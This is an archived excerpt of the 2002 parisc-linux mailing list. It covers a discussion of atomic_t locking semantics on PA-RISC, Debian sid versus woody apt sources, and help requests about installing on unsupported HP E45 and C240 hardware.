Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620963 1117 80.91.229.3 (22 Nov 2014 01:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 23:54:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2E66482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 23:54:22 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel9.hp.com (Postfix) with ESMTP id 95491E00314
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 01:54:21 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id XAA06768
	for parisc-linux@lists.parisc-linux.org; Sun, 13 Jan 2002 23:54:21 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13725

> >
> > But someone thought it was time to reset the counter. And if
> > it "never happened", then whoever is looking for 'v == 1' will
> > never see it.
>
> It's a race though; they can't guarantee to see it anyway.
>

Yes, it is a race in that you can't be guaranteed that you will ever see
the value equal to 1. But you should be guaranteed that it WAS reset.

For example:

    1) Initialize counter to 1.
    2) Increment counter by 1 each time event "X" occurs using
       atomic_add_return.
    3) Reset counter to 1 each time event "Y" occurs using atomic_set.
    4) Signal an error if the counter ever exceeds some threshold
       value, i.e. it is an error if too many "X" events occur without
       and intervening "Y" event.

In the above scenario you could not be guaranteed that you would ever see
the counter at one (or any particular value), but you could falsely
trigger the error condition if the resets were lost (by removing the
spinlocks from atomic_set).

John



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] atomic_t
Date: Mon, 14 Jan 2002 00:12:32 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020114071232.07537482A@dsl2.external.hp.com>
References: <20020113211508.V9193@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020114040909.87321482A@dsl2.external.hp.com>  <20020114044337.B9193@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620964 1118 80.91.229.3 (22 Nov 2014 01:49:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 00:12:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 07537482A; Mon, 14 Jan 2002 00:12:32 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 14 Jan 2002 04:43:37 GMT." <20020114044337.B9193@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13726

Matthew Wilcox wrote:
> Not on PA... look at <asm/atomic.h>.  There's only 3 primitives, all
> other atomic ops are defined in terms of those.

Ah ok - you are right. atomic_read() doesn't use the lock and
that only leaves the other two.

> > But someone thought it was time to reset the counter. And if
> > it "never happened", then whoever is looking for 'v == 1' will
> > never see it.
> 
> It's a race though; they can't guarantee to see it anyway.

hmmm...Most people write code with the intent of seeing *some*
event (eg v < 0).  Ie, if it didn't matter, then we don't need
the code.  I'd like to believe folks are usually more careful
than that.  I need to think about this some more though.

grant



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] atomic_t
Date: Mon, 14 Jan 2002 09:54:44 +0000 (GMT)
Lines: 22
Approved: news@gmane.org
Message-ID: <E16Q3pE-0001DQ-00@the-village.bc.nu>
References: <20020114040909.87321482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620964 1121 80.91.229.3 (22 Nov 2014 01:49:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:24 +0000 (UTC)
Cc: willy@debian.org (Matthew Wilcox), parisc-linux@parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 02:43:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07493482A
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jan 2002 02:42:59 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16Q3pE-0001DQ-00; Mon, 14 Jan 2002 09:54:44 +0000
In-Reply-To: <20020114040909.87321482A@dsl2.external.hp.com> from "Grant Grundler" at Jan 13, 2002 09:09:09 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13727

> > exclusivity...  I thought we could eliminate it.
> 
> You are only looking at interactions between atomic_set
> and atomic_add_return. Aren't there potentialially other
> types of interactions with other atomic operations?
> But I don't know. Alan Cox?

We had a discussion about some of this on #kernel. Its not clear. The
x86 port "knows" that writes are going to be atomic. It means that

	CPU1			CPU2
value=4
	atomic_set=0		atomic_add +1

will result in an addition to the set value, or an addition then the
entire result discarded for the set value. It won't (except in obscure
hardware bug cases 8)) result in the set being lost during the add

ie you might see 0 after those operations, or you might see 1, but you
won't see 5 after both have completed.



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: sid vs woody (was 715/50)
Date: Mon, 14 Jan 2002 11:47:16 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.40.0201141140140.29083-100000@io.fachschaften.tu-muenchen.de>
References: <20020113220723.673A7482A@dsl2.external.hp.com>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620964 1126 80.91.229.3 (22 Nov 2014 01:49:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 03:47:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 58E35482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 03:47:41 -0700 (MST)
Original-Received: (qmail 25966 invoked from network); 14 Jan 2002 10:47:29 -0000
Original-Received: from io.fachschaften.tu-muenchen.de (HELO io) (129.187.176.75)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 14 Jan 2002 10:47:29 -0000
In-Reply-To: <20020113220723.673A7482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13728

> For the adventerous, edit the /etc/apt/sources.list to point
          ~~~~~~~~~~~
> to "sid" like this:
>
> deb http://http.us.debian.org/debian sid main contrib non-free
> deb http://non-us.debian.org/debian-non-US sid/non-US main contrib non-free
Shouldn't one use stable, testing and unstable, which are of course at the
moment linked to potato, woody and sid respectively? Otherwise you will stay
with sid even when it is declared stable (or unavailable) - and you don't
want that, do you?  ;-)

ad




From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rodolfo Baselli <rodolfo.baselli@deaprofessionale.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation console problem
Date: Mon, 14 Jan 2002 14:11:42 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3C42D90E.20909@deaprofessionale.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620965 1133 80.91.229.3 (22 Nov 2014 01:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 06:42:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from popdea-mi.deagostini.it (unknown [194.244.110.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2C11482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 06:41:57 -0700 (MST)
Original-Received: from popdea-mi.deagostini.it 
	by popdea-mi.deagostini.it (8.11.0/8.10.1) with ESMTP id g0EDnZN18569
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 14:49:35 +0100
Original-Received: from popdea_no.igda.it (popdea_no.igda.it [140.10.9.2])
	by popdea-mi.deagostini.it (8.11.0/8.11.0) with ESMTP id g0EDnYH18562
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 14:49:35 +0100
Original-Received: from deaprofessionale.it 
	by popdea_no.igda.it (8.10.1/8.10.1) with ESMTP id g0EDhD610318
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 14:43:13 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13729

Hi out there!
I'm trying to install the 0.9.3 CD on a HP9000/E45/A3130AW.
I managed to boot the image, but then I got this message on the serial 
line console:
"If this is the last message you see, you may need to switch your 
console. This is a common symptom - search the FAQ and mailing lists"
but I found nothing, since I'm asking you... :-(
What's happened?

Thank you for your patience.

Rudy
(Italy)




From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.3 on a graphics console
Date: Mon, 14 Jan 2002 20:49:23 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <3C433643.8080707@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620965 1135 80.91.229.3 (22 Nov 2014 01:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 06:57:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsfep14-int.chello.nl (amsfep14-int.chello.nl [213.46.243.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id E61B9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 06:57:23 -0700 (MST)
Original-Received: from gatekeeper ([213.46.122.137]) by amsfep14-int.chello.nl
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020114135722.QFXW29398.amsfep14-int.chello.nl@gatekeeper>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 14 Jan 2002 14:57:22 +0100
Original-Received: from allevil
	([10.0.1.2] helo=chello.nl ident=arjen)
	by gatekeeper with esmtp (Exim 3.12 #1 (Debian))
	id 16Q7dj-0007T0-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 14:59:07 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011221
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13730

Hi,

I'm trying to install 0.9.3 with a graphics console on a C240, but the 
system stops at:
Branching the kernel entry point 0x00100000.

I've seen reports of people succeeding it with a serial console. Before 
i try to find out how that works (i've never used a serial console 
before), i'm wondering if there will be a 0.9.4 in the near future that 
supports this setup.

Thanks,

Arjen Hommersom





From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 on a graphics console
Date: Mon, 14 Jan 2002 22:17:50 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <3C434AFE.4060506@chello.nl>
References: <B07B5B98-08FE-11D6-AEFA-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620965 1138 80.91.229.3 (22 Nov 2014 01:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:25 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 08:25:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsfep14-int.chello.nl (amsfep14-int.chello.nl [213.46.243.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E744482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 08:25:52 -0700 (MST)
Original-Received: from gatekeeper ([213.46.122.137]) by amsfep14-int.chello.nl
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020114152550.RJTR29398.amsfep14-int.chello.nl@gatekeeper>;
          Mon, 14 Jan 2002 16:25:50 +0100
Original-Received: from allevil
	([10.0.1.2] helo=chello.nl ident=arjen)
	by gatekeeper with esmtp (Exim 3.12 #1 (Debian))
	id 16Q91L-0007Xn-00; Mon, 14 Jan 2002 16:27:35 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011221
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13731

Thibaut VARENE wrote:

> Hi,
>
> about your problem you might find answers there:
> http://lists.parisc-linux.org/pipermail/parisc-
> linux/2001-December/014912.html

This person succeeded with a serial console. Any reports of people 
succeeding with a graphics console?

> Could you please tell us what procedure you used to install (CD, 
> network...), what is you exact hardware configuration, what boot args 
> you exactly typed, and any further info you might think useful to add...

I'm trying to do a network install. I installed bootpd on an Debian/i386 
machine and i boot with
 > boot lan
I chose not to interact with IPL, so it used default boot args.

For hardware.. it's a C240 and sam reports a HP visualize FX2(4) as a 
graphics card that is connected to a VGA monitor which works ok in 
HP-UX. If you can tell me how to get more detailed hardware information 
in HP UX, i'll be happy to provide it.

>>
>> I'm trying to install 0.9.3 with a graphics console on a C240, but 
>> the system stops at:
>> Branching the kernel entry point 0x00100000.
>>
>> I've seen reports of people succeeding it with a serial console. 
>> Before i try to find out how that works (i've never used a serial 
>> console before), i'm wondering if there will be a 0.9.4 in the near 
>> future that supports this setup.
>>

Arjen Hommersom





From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 on a graphics console
Date: Mon, 14 Jan 2002 16:33:33 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <117AF172-0904-11D6-AEFA-0030656F07A2@esiee.fr>
References: <3C434AFE.4060506@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620966 1139 80.91.229.3 (22 Nov 2014 01:49:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 08:33:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7569F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 08:33:35 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id D457C49BF8
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 16:33:33 +0100 (CET)
In-Reply-To: <3C434AFE.4060506@chello.nl>
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13732

>
> For hardware.. it's a C240 and sam reports a HP visualize FX2(4) as a 
> graphics card that is connected to a VGA monitor which works ok in 
> HP-UX. If you can tell me how to get more detailed hardware information 
> in HP UX, i'll be happy to provide it.

Well, I bet this specific off board graphic card is not supported.
Although onboard controllers are getting more and more supported, it is 
not the case for specific HP hardware.

As there's no core graphics for your box, I suggest you to try with 
serial console.


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation console problem
Date: Mon, 14 Jan 2002 15:52:26 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020114155226.I9193@parcelfarce.linux.theplanet.co.uk>
References: <3C42D90E.20909@deaprofessionale.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620966 1142 80.91.229.3 (22 Nov 2014 01:49:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rodolfo Baselli <rodolfo.baselli@deaprofessionale.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 08:52:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97079482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 08:52:28 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Q9PO-0006Vh-00; Mon, 14 Jan 2002 15:52:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C42D90E.20909@deaprofessionale.it>; from rodolfo.baselli@deaprofessionale.it on Mon, Jan 14, 2002 at 02:11:42PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13733

On Mon, Jan 14, 2002 at 02:11:42PM +0100, Rodolfo Baselli wrote:
> Hi out there!
> I'm trying to install the 0.9.3 CD on a HP9000/E45/A3130AW.
> I managed to boot the image, but then I got this message on the serial 
> line console:
> "If this is the last message you see, you may need to switch your 
> console. This is a common symptom - search the FAQ and mailing lists"
> but I found nothing, since I'm asking you... :-(
> What's happened?

The E45 isn't supported, unfortunately.  See the mailing list archives
for details, but basically the serial port needs a new driver and the
SCSI card needs a new driver.  Documentation for both of these cards is
not publically available.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: sid vs woody (was 715/50)
Date: 14 Jan 2002 10:42:10 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <871ygsu8wd.fsf@rover.gag.com>
References: <20020113220723.673A7482A@dsl2.external.hp.com>
	<Pine.NEB.4.40.0201141140140.29083-100000@io.fachschaften.tu-muenchen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620966 1145 80.91.229.3 (22 Nov 2014 01:49:26 GMT)
